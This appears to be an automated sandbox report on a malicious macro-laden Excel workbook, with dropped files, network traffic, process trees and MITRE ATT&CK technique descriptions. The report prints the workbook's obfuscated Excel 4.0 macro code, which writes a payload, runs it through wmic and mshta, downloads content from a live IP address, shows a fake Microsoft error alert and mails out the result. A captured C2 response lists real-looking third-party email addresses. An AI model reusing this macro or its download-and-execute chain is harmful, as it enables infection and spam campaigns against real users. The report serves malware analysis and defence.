SHA1:	B7EE1816DC0217AD5FBEBABDA43784ECA52D0C61
SHA-256:	D98542A461B36FB3DB91DC89D698FE170A47E4DD562E70E51406B12BDBE05686
SHA-512:	909459A2236296F4EBD1E54F04C8AE09F6DF4F4EEC991D463547EA813F49A4881AC3022D9282CDB2DF6FB7A2FFA8A35AB1FF16ABA283714FB0F2F509E72CE56F
Malicious:	false
Reputation:	low
IE Cache URL:	http://132.148.135.183:8080/Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG
Preview:	{"mhall@themovingsolution.com","dave@mrilakecounty.com","shaileshw@clearchannelindia.com","lynsey@accsols.com","officemanager@cutaboveland.com"}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5EBBEF1D.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 238 x 337, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	38157
Entropy (8bit):	7.96137177194393
Encrypted:	false
SSDEEP:	768:7PiEGNOfxgpvUM7w1phhsL+ZfBwnTV+YoS2bUoMokqk++yd6OAd/r:7PFwJpvc1e+BwT8YIbDMz+1d6xt
MD5:	B88B9DF024814E6C791FDAC471ABD26C
SHA1:	6FB92BB20F7A51B40E03467C2EBB217A8E21E21A
SHA-256:	02F3AB917A42A10560A274A9CD91FDA01D7BC428C7428CCAF8CCFF1F46DEA39F
SHA-512:	67E6B7FAE7476847835E5A1F17FBFA60DC35B2AAC299A025102540BBA72D8A3CC120FA69E172FBADE6A4B68F464A98005FC38145CC618A6DC45D8C058F704E9E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......Q.....s..6...JiCCPICC Profile..x..W.TS...[RIh..H...R.K..E....I ...D....]D@].U.E...ZQ...]......l..I.]=...s........{g...I.....y.\|Y\|D.kBj.......Z...x\|...........7..../.(......'.... q.g...<......\|..>Po=#_.. 6...!.q...(q..W.l..9....L..dY.h7C=....y.o@...%..!..x..#!...7M...p...'....C.<^..V..r.X.....?..%/W1...6.H.......F.(%.A.#...X..wb...b.RD&..QS...k.....x.Q..B......32..\...A....D..EByX...F6->v.g.8l....L.Wi.R.............D.).1j.89.bm...(..fS$.........m ..J"B...LYx..^.'...[$.sc4.*_........7..Y(a'.......s..C..c...$M.X.4?$^3..47Nc.S...J......\<0..H5?.#.KT.gd......A4..P....2.4....=M=.z$....d.!p.h.g..F$...._...\|h^.jT.....V.t..........<..r.o.j.d.[2x.5...a...)...&Z.Q..t.-.a.Pb$1.....?.......>..`._..........N...b.7...8..=.kr..:g...z.!x...8.7...h..A.P..D...[....U.5v.W.J.F..8\|;S.I.s.EY.+..5c.....o.s.....Q.Zb..}X.v.;.....;.5c..J<....V..xU<9.G..?....r.z.n..\|a....8.3e.,Q>....B.W..9........;.~M.b.......]q............8........Z..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8150A08C.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 298 x 42, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2651
Entropy (8bit):	7.878030234685008
Encrypted:	false
SSDEEP:	48:TLcP5710/A9YAjLgDvN9Dolpe66i9NoG5wCujcaVrc:sPh1mA9zjb3EAwZJc
MD5:	4936B12FE92BC286AE52FB6F462233E6
SHA1:	7AF7A2D93E049A2C95FB63063A03B12445DC760A
SHA-256:	A5A525DADBAD835597B6516D46ADCB131039FCABC7CBF5CD0DE4B688FF9D2668
SHA-512:	E0DDAD23F54660CF5D53689D5B6B3B5D84A18CF1881002A10142011E8D6C5982DEB5A2055E516FFECF9AD143BEF3307DD35B108A4279D8E7430B7CBEEB3EA5B5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR............/....."IDATx..yTSW...IH.$a..,.E...7,B.m.NK..Z......m...u.................l."...v..D.... .%a...C..LB..3.s../................7.`0d@%;.....,?..4..0.....`H....!.,?..4..0.....`H....!.,?..4..0.....`H....!.,?..4..0.....`H....!..+.]..s.Q.....:A~...9(l.k..Z^.....h..PN.&~VzT.....Z....[...;...........th..Es.8..D...WCUJ...Y.U.5....2u..Fh....r.gT,...._"l..dU.....S}.V0...hm)+.<u\...V..R.'....9....>.2.g..C....Gm.7U..>ayV..g...+k...<.9#Fo`.....eB.g$.61.z#A6.c...q._w....X....HP....9.....0....>..2\|..h....GF]......Md.FLU..b.A.c..N.8!t..J....Z........K.:....2m.c..'F.....n.....l.q...%....=M...u...[.1!.....'70$./.5.i.1..]l^...Sg..=o...n.Sm...4...;1.i.D./l.`...?.j../h.L.9...~...{.-...\..Jo...R(.......IMy74=.nOj)-D.. ...(.}u..2p...{e....Y.e..:x..(O76..._Q.TB&.s.0.f......N.....%.?....n.=.'f.!...6......2..=......... .....\....OF}...c -....Ip.F{U.n....F....8.N..@sQ^...Q..[.\|K.2..M..H.....N.......>.\|^....G...?...hy)....I..2......9.

C:\Users\user\AppData\Local\Temp\2D67.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	71819
Entropy (8bit):	7.88036789704309
Encrypted:	false
SSDEEP:	1536:dlVY0/Ad/xcQcRgCoPFwJpvc1e+BwT8YIbDMz+1d6xOvWmdF/:TS02CQqgCnMrbDu+1d6xOvWmdR
MD5:	E688ECD7523056BE418D88E28E3309B3
SHA1:	2C72DA046B18E3DBE4DC6E32FFB70BCE69568129
SHA-256:	A37C27F997A3428A33C2086B3F7F8BC3E90325D9E5CBF3E2DA89DC9C511C5C7F
SHA-512:	B25843D13772D0B950FF31C50373067657E0DCB12B527E9DFE70D9C84EF88089A1A68DC9F373E41218D68DCEABDD9856915B616CA959EF84EB8926F684E9D2FE
Malicious:	false
Reputation:	low
Preview:	PK..........!.?...............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.n.0....?..."......C..=....=3..&...L".}....`.Vr......W.........;6.3.WA.....o.'.`.^K.<tl.....-...!..mr...@..'....vV!9..5.E..A.A\.f...>..m.1.r..V.....]&.....B.1..5JfJT<y....+..7...@.-wR.p....DR.q2~..A\|.J~e.4"...d..K..^3'dM.7&..2..C.9.y..E.JFCs+S.).9#z+.....z..GF...?..v.....^C?..p...G..Czx..#.2....;E....^.$.CEF.d:. .u..........(.A=::...9..3..yk...C..=&CS'...i...._...0&..6..\|.~$1..s.h..v....<.j...fq..%=...n#.....

C:\Users\user\Desktop\~$474556085436219490680.xlsb Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.874053667732937
TrID:	Excel Microsoft Office Open XML Format document with Macro (51004/1) 36.56% Microsoft Excel Office Binary workbook document (40504/1) 29.03% Excel Microsoft Office Open XML Format document (40004/1) 28.67% ZIP compressed archive (8000/1) 5.73%
File name:	474556085436219490680.xlsb
File size:	71461
MD5:	75c325deec0cae07e089f47028c4e444
SHA1:	ff3d0672ff1a95212063a42779538c1896d3b77c
SHA256:	f4e3013be0615f60a3a6f6d3d3b26aa5239fe270e404dd465e1b99c2b594b4f8
SHA512:	76a99007b656a14ad9b37aa8f043d1b93f69f16b9e2a71e2015940981cfabbdf4a6432979c898ce9d681a5d528c3efc55397b21e2c3295ba695628fabc84a106
SSDEEP:	1536:UWiPFwJpvc1e+BwT8YIbDMz+1d6xVICUj6GNtV0IXhIjgdbv+T:VFMrbDu+1d6xVxUtT0KIjgdbE
File Content Preview:	PK..........!...l.....W.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2ea8aa4b4b4b4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "474556085436219490680.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

0,564,=FOPEN("C:\Prog" & CHAR(114) & "amD" & CHAR(97) & CHAR(116) & "a\UXc" & CHAR(113) & "TE.rt" & CHAR(102), 3)
1,564,=B9905+D8740
2,564,=C1238+B4409
3,564,=B923+B4574
4,564,=C6510+B1598
7,564,=A6741+B9352
8,564,=D3777+D7437
9,564,=D6862+B4052
11,564,=A7938+B9966
12,564,=FOR.CELL("NmOpRVhwYsynOr",Sheet1!AX155:AY2501, TRUE)
13,564,=C7781+A7255
19,564,=A6275+A4831
21,564,=C5227+B9489
22,564,=B2160+D9087
23,564,=B3501+A7950
26,564,=C8748+B4848
27,564,=FWRITE(0,CHAR(NmOpRVhwYsynOr))
28,564,=C2889+B9165
30,564,=C3586+B7711
32,564,=A4353+B2779
33,564,=B7575+B1601
34,564,=C9283+A7819
36,564,=B3043+B1047
37,564,=D3839+D7513
39,564,=A8184+B4998
41,564,=C1684+C3659
42,564,=NEXT()
43,564,=B9929+B137
44,564,=C6629+D9381
45,564,=C5260+C5889
46,564,=A7257+D1136
47,564,=D5914+D2482
48,564,=A8619+B8530
49,564,=C3572+D9249
50,564,=C4151+B8690
54,564,=B2434+C4212
55,564,=C482+D9659
56,564,=EXEC("" & CHAR(119) & "mi" & CHAR(99) & CHAR(32) & CHAR(112) & "rocess c" & CHAR(97) & CHAR(108) & "l c" & CHAR(114) & "eate" & CHAR(32) & CHAR(34) & CHAR(109) & "sh" & CHAR(116) & "a C:\Progr" & CHAR(97) & "mData\UXcqT" & CHAR(69) & ".rtf" & CHAR(34))
59,564,=B7613+B4271
60,564,=C1615+C5035
62,564,=B5594+C7714
64,564,=B1491+D7320
65,564,=A3521+B3137
66,564,=A4536+C4396
67,564,=D3670+D9363
68,564,=CALL("urlmo" & CHAR(110) & "", "URLDo" & CHAR(119) & CHAR(110) & "loadToF" & CHAR(105) & "leA",CHAR(74) & "JCCJJ", 0, CHAR(104) & "ttp:" & CHAR(47) & "/13" & CHAR(50) & ".148.135." & CHAR(49) & CHAR(56) & CHAR(51) & CHAR(58) & CHAR(56) & "080/Q2W5V" & CHAR(87) & "UFL5V" & CHAR(67) & "MQ7JQPET" & CHAR(71) & "3CCTYX72Z4R2" & CHAR(53) & "PD" & CHAR(71), "C:\Progra" & CHAR(109) & "Dat" & CHAR(97) & "\V" & CHAR(78) & "sYnsilCvEhxr.tx" & CHAR(116),0,0)
69,564,=B3784+A4994
70,564,=A9216+C1127
71,564,=A6561+C6544
72,564,=A9994+D8883
74,564,=A3572+D6307
75,564,=D8465+C2674
78,564,=D4320+A7865
81,564,=ALERT(CHAR(69) & "rr" & CHAR(111) & "r! Sendin" & CHAR(103) & " report t" & CHAR(111) & CHAR(32) & CHAR(77) & "ic" & CHAR(114) & CHAR(111) & CHAR(115) & CHAR(111) & CHAR(102) & "t.." & CHAR(46))
82,564,=A5310+B8811
89,564,=C2301+C4609
92,564,=C5498+D2989
93,564,=B4251+A6499
95,564,=FOPEN("C:\" & CHAR(80) & "rog" & CHAR(114) & "amDat" & CHAR(97) & "\VNsYnsilCvE" & CHAR(104) & CHAR(120) & "r.tx" & CHAR(116),1)
101,564,=A5700+B7332
104,564,=C3184+D4013
105,564,=SEND.MAIL(EVALUATE(FREAD(US96,255)))
108,564,=D8160+D2803
109,564,=A7662+C8022
110,564,=D7756+C1960
112,564,=A3160+D2457
114,564,=A5432+A881
117,564,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 08:22:23.874233961 CET	49165	8080	192.168.2.22	132.148.135.183
Nov 25, 2021 08:22:24.039417982 CET	8080	49165	132.148.135.183	192.168.2.22
Nov 25, 2021 08:22:24.039529085 CET	49165	8080	192.168.2.22	132.148.135.183
Nov 25, 2021 08:22:24.040627956 CET	49165	8080	192.168.2.22	132.148.135.183
Nov 25, 2021 08:22:24.205636978 CET	8080	49165	132.148.135.183	192.168.2.22
Nov 25, 2021 08:22:24.488816023 CET	8080	49165	132.148.135.183	192.168.2.22
Nov 25, 2021 08:22:24.488965034 CET	49165	8080	192.168.2.22	132.148.135.183
Nov 25, 2021 08:23:39.489218950 CET	8080	49165	132.148.135.183	192.168.2.22
Nov 25, 2021 08:23:39.492032051 CET	49165	8080	192.168.2.22	132.148.135.183

HTTP Request Dependency Graph

132.148.135.183:8080

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	132.148.135.183	8080	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 08:22:24.040627956 CET	0	OUT	GET /Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 132.148.135.183:8080 Connection: Keep-Alive
Nov 25, 2021 08:22:24.488816023 CET	1	IN	HTTP/1.1 200 OK Server: nginx/1.0.15 Date: Thu, 25 Nov 2021 07:22:24 GMT Content-Type: text/plain; charset=utf-8 Connection: keep-alive Content-Length: 144 Data Raw: 7b 22 6d 68 61 6c 6c 40 74 68 65 6d 6f 76 69 6e 67 73 6f 6c 75 74 69 6f 6e 2e 63 6f 6d 22 2c 22 64 61 76 65 40 6d 72 69 6c 61 6b 65 63 6f 75 6e 74 79 2e 63 6f 6d 22 2c 22 73 68 61 69 6c 65 73 68 77 40 63 6c 65 61 72 63 68 61 6e 6e 65 6c 69 6e 64 69 61 2e 63 6f 6d 22 2c 22 6c 79 6e 73 65 79 40 61 63 63 73 6f 6c 73 2e 63 6f 6d 22 2c 22 6f 66 66 69 63 65 6d 61 6e 61 67 65 72 40 63 75 74 61 62 6f 76 65 6c 61 6e 64 2e 63 6f 6d 22 7d Data Ascii: {"mhall@themovingsolution.com","dave@mrilakecounty.com","shaileshw@clearchannelindia.com","lynsey@accsols.com","officemanager@cutaboveland.com"}

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1528 Parent PID: 596

General

Start time:	08:22:12
Start date:	25/11/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f3e0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: WMIC.exe PID: 2908 Parent PID: 1528

General

Start time:	08:22:34
Start date:	25/11/2021
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic process call create "mshta C:\ProgramData\UXcqTE.rtf"
Imagebase:	0xff2d0000
File size:	566272 bytes
MD5 hash:	FD902835DEAEF4091799287736F3A028
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: mshta.exe PID: 1908 Parent PID: 1304

General

Start time:	08:22:35
Start date:	25/11/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta C:\ProgramData\UXcqTE.rtf
Imagebase:	0x13f7a0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

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Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report 474556085436219490680.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Sigma Overview

System Summary:

Jbx Signature Overview

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "474556085436219490680.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 1528 Parent PID: 596

General

Analysis Process: WMIC.exe PID: 2908 Parent PID: 1528

General

Analysis Process: mshta.exe PID: 1908 Parent PID: 1304